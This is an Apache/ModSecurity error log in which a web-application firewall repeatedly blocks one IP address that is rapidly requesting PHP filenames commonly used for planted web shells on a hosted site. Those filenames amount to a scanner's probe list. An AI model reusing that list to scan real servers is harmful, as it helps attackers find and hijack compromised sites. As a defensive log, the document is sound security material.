[Mon Apr 20 02:00:36.945539 2026] [:error] [pid 47773:tid 47819] [client 72.146.9.108:24908] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeUYROiBHdnCJDuPq9B3EAAAAEM"]
[Mon Apr 20 02:00:37.548886 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:25432] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeUYRbimB-jol1fwqAoqowAAAYM"]
[Mon Apr 20 02:00:38.293802 2026] [:error] [pid 15694:tid 15749] [client 72.146.9.108:25451] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeUYRrimB-jol1fwqAoqpQAAAZc"]
[Mon Apr 20 02:00:39.178141 2026] [:error] [pid 15694:tid 15743] [client 72.146.9.108:24462] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeUYR7imB-jol1fwqAoqqQAAAZE"]
[Mon Apr 20 02:00:39.965036 2026] [:error] [pid 15760:tid 15777] [client 72.146.9.108:24453] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeUYR_SdD_XHQMJ_ISuwTAAAAck"]
[Mon Apr 20 02:00:40.781680 2026] [:error] [pid 47772:tid 47809] [client 72.146.9.108:24887] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeUYSIc0L16cb4smAz8KzgAAABQ"]
[Mon Apr 20 02:00:41.362622 2026] [:error] [pid 15760:tid 15791] [client 72.146.9.108:24895] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeUYSfSdD_XHQMJ_ISuwTgAAAdc"]
[Mon Apr 20 02:00:41.896983 2026] [:error] [pid 15760:tid 15784] [client 72.146.9.108:25839] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeUYSfSdD_XHQMJ_ISuwUAAAAdA"]
[Mon Apr 20 02:00:42.589689 2026] [:error] [pid 47772:tid 47796] [client 72.146.9.108:25731] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeUYSoc0L16cb4smAz8K0AAAAAc"]
[Mon Apr 20 02:00:43.108460 2026] [:error] [pid 15765:tid 15853] [client 72.146.9.108:25404] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeUYS_Rqinw-W5EwQ74d8AAAAoE"]
[Mon Apr 20 02:00:43.582208 2026] [:error] [pid 47775:tid 47864] [client 72.146.9.108:23631] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeUYS7mztjlk9tsmoexEsQAAAJU"]
[Mon Apr 20 02:00:44.130054 2026] [:error] [pid 47772:tid 47806] [client 72.146.9.108:25814] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeUYTIc0L16cb4smAz8K1gAAABE"]
[Mon Apr 20 02:00:44.610561 2026] [:error] [pid 47772:tid 47792] [client 72.146.9.108:24890] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeUYTIc0L16cb4smAz8K1wAAAAM"]
[Mon Apr 20 02:00:45.113886 2026] [:error] [pid 47886:tid 47896] [client 72.146.9.108:24448] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeUYTUSe8yiyuPrD7yOd3AAAAMg"]
[Mon Apr 20 02:00:45.638935 2026] [:error] [pid 47886:tid 47905] [client 72.146.9.108:25377] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeUYTUSe8yiyuPrD7yOd3gAAANE"]
[Mon Apr 20 02:00:46.196775 2026] [:error] [pid 47772:tid 47812] [client 72.146.9.108:23671] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeUYToc0L16cb4smAz8K2gAAABc"]
[Mon Apr 20 02:00:46.723542 2026] [:error] [pid 15760:tid 15775] [client 72.146.9.108:25804] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeUYTvSdD_XHQMJ_ISuwVQAAAcc"]
[Mon Apr 20 02:00:47.283547 2026] [:error] [pid 15763:tid 15803] [client 72.146.9.108:25414] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeUYT7MXv1Y1THOoxaA6AwAAAgc"]
[Mon Apr 20 02:00:47.953072 2026] [:error] [pid 15763:tid 15815] [client 72.146.9.108:24552] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeUYT7MXv1Y1THOoxaA6BgAAAhM"]
[Mon Apr 20 02:00:48.493989 2026] [:error] [pid 47772:tid 47810] [client 72.146.9.108:25412] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeUYUIc0L16cb4smAz8K2wAAABU"]
[Mon Apr 20 02:00:48.978754 2026] [:error] [pid 15765:tid 15863] [client 72.146.9.108:25730] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeUYUPRqinw-W5EwQ74d8wAAAoo"]
[Mon Apr 20 02:00:49.500660 2026] [:error] [pid 47772:tid 47800] [client 72.146.9.108:24073] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeUYUYc0L16cb4smAz8K3gAAAAs"]
[Mon Apr 20 02:00:49.994868 2026] [:error] [pid 47775:tid 47857] [client 72.146.9.108:24499] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeUYUbmztjlk9tsmoexEswAAAI4"]
[Mon Apr 20 02:00:50.464430 2026] [:error] [pid 47772:tid 47797] [client 72.146.9.108:25789] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeUYUoc0L16cb4smAz8K4QAAAAg"]
[Mon Apr 20 02:00:50.959191 2026] [:error] [pid 47772:tid 47791] [client 72.146.9.108:24912] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeUYUoc0L16cb4smAz8K4wAAAAI"]
[Mon Apr 20 02:00:51.434742 2026] [:error] [pid 47772:tid 47805] [client 72.146.9.108:24087] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeUYU4c0L16cb4smAz8K5QAAABA"]
[Mon Apr 20 02:00:51.960528 2026] [:error] [pid 15763:tid 15812] [client 72.146.9.108:25424] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeUYU7MXv1Y1THOoxaA6CwAAAhA"]
[Mon Apr 20 02:00:52.447637 2026] [:error] [pid 15694:tid 15723] [client 72.146.9.108:24162] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeUYVLimB-jol1fwqAoqtAAAAYA"]
[Mon Apr 20 02:00:52.916007 2026] [:error] [pid 15694:tid 15742] [client 72.146.9.108:25793] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeUYVLimB-jol1fwqAoqtQAAAZA"]
[Mon Apr 20 02:00:53.394368 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:24852] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeUYVbimB-jol1fwqAoqtwAAAY4"]
[Mon Apr 20 02:00:53.860184 2026] [:error] [pid 15764:tid 15829] [client 72.146.9.108:24455] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeUYVWLL_sqdSHoVp-R3pAAAAkM"]
[Mon Apr 20 02:00:54.348031 2026] [:error] [pid 15694:tid 15733] [client 72.146.9.108:25803] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeUYVrimB-jol1fwqAoqugAAAYc"]
[Mon Apr 20 02:00:54.963421 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:23882] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeUYVrimB-jol1fwqAoqvQAAAY0"]
[Mon Apr 20 02:00:55.438309 2026] [:error] [pid 15694:tid 15732] [client 72.146.9.108:23618] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeUYV7imB-jol1fwqAoqwQAAAYY"]
[Mon Apr 20 02:00:55.944951 2026] [:error] [pid 15694:tid 15749] [client 72.146.9.108:26289] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeUYV7imB-jol1fwqAoqxAAAAZc"]
[Mon Apr 20 02:00:56.428972 2026] [:error] [pid 15694:tid 15723] [client 72.146.9.108:24916] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeUYWLimB-jol1fwqAoqxQAAAYA"]
[Mon Apr 20 02:00:56.900675 2026] [:error] [pid 15764:tid 15847] [client 72.146.9.108:25760] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeUYWGLL_sqdSHoVp-R3pgAAAlU"]
[Mon Apr 20 02:00:57.381298 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:24873] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeUYWbimB-jol1fwqAoqyAAAAY4"]
[Mon Apr 20 02:00:57.853992 2026] [:error] [pid 15694:tid 15724] [client 72.146.9.108:26264] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeUYWbimB-jol1fwqAoqyQAAAYE"]
[Mon Apr 20 02:00:58.354736 2026] [:error] [pid 15694:tid 15746] [client 72.146.9.108:24937] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeUYWrimB-jol1fwqAoqzQAAAZQ"]
[Mon Apr 20 02:00:58.822670 2026] [:error] [pid 47886:tid 47894] [client 72.146.9.108:26243] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeUYWkSe8yiyuPrD7yOd3wAAAMY"]
[Mon Apr 20 02:01:19.415078 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:25797] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeUYb7imB-jol1fwqAoq8AAAAY4"]
[Mon Apr 20 02:01:19.928076 2026] [:error] [pid 15763:tid 15806] [client 72.146.9.108:24948] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeUYb7MXv1Y1THOoxaA6UgAAAgo"]
[Mon Apr 20 02:01:20.401491 2026] [:error] [pid 47775:tid 47863] [client 72.146.9.108:25471] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeUYcLmztjlk9tsmoexEvQAAAJQ"]
[Mon Apr 20 02:01:20.892612 2026] [:error] [pid 15760:tid 15788] [client 72.146.9.108:25409] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeUYcPSdD_XHQMJ_ISuwbQAAAdQ"]
[Mon Apr 20 02:01:21.383680 2026] [:error] [pid 15764:tid 15841] [client 72.146.9.108:26318] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeUYcWLL_sqdSHoVp-R36AAAAk8"]
[Mon Apr 20 02:01:21.890997 2026] [:error] [pid 47775:tid 47860] [client 72.146.9.108:26313] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeUYcbmztjlk9tsmoexEvgAAAJE"]
[Mon Apr 20 02:01:22.365860 2026] [:error] [pid 15693:tid 15715] [client 72.146.9.108:24575] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeUYcsNMD-ccazQlTslyPAAAAVM"]
[Mon Apr 20 02:01:22.905287 2026] [:error] [pid 15765:tid 15874] [client 72.146.9.108:24152] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeUYcvRqinw-W5EwQ74d_gAAApU"]
[Mon Apr 20 02:01:23.386906 2026] [:error] [pid 15694:tid 15733] [client 72.146.9.108:25837] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeUYc7imB-jol1fwqAoq8gAAAYc"]
[Mon Apr 20 02:01:23.870545 2026] [:error] [pid 47773:tid 47824] [client 72.146.9.108:25469] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeUYc-iBHdnCJDuPq9B3HwAAAEg"]
[Mon Apr 20 02:01:24.393067 2026] [:error] [pid 47775:tid 47843] [client 72.146.9.108:25788] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeUYdLmztjlk9tsmoexExAAAAIA"]
[Mon Apr 20 02:01:24.907867 2026] [:error] [pid 47775:tid 47853] [client 72.146.9.108:25396] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeUYdLmztjlk9tsmoexExQAAAIo"]
[Mon Apr 20 02:01:25.412613 2026] [:error] [pid 47772:tid 47795] [client 72.146.9.108:25370] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeUYdYc0L16cb4smAz8LAQAAAAY"]
[Mon Apr 20 02:01:26.081175 2026] [:error] [pid 15765:tid 15876] [client 72.146.9.108:25758] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeUYdvRqinw-W5EwQ74eAAAAApc"]
[Mon Apr 20 02:01:26.552095 2026] [:error] [pid 15760:tid 15776] [client 72.146.9.108:25771] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeUYdvSdD_XHQMJ_ISuwdQAAAcg"]
[Mon Apr 20 02:01:27.029962 2026] [:error] [pid 15760:tid 15775] [client 72.146.9.108:26299] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeUYd_SdD_XHQMJ_ISuwdwAAAcc"]
